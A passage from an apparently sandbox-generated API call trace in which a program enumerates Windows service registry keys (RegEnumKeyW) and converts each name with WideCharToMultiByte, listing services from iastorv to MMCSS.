lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0220.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0220.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0220.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0220.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0220.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0220.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0220.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0220.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0220.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0220.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0220.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0220.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0220.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0220.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0220.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0220.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0220.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0220.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0220.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0220.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0220.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0220.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0220.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0220.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0220.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0220.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0220.822] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0220.822] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0220.822] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0220.822] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0220.822] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0220.822] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0220.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0220.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0220.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0220.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0220.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0220.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1a48, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0220.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0220.824] RegEnumKeyW (in: hKey=0x148, 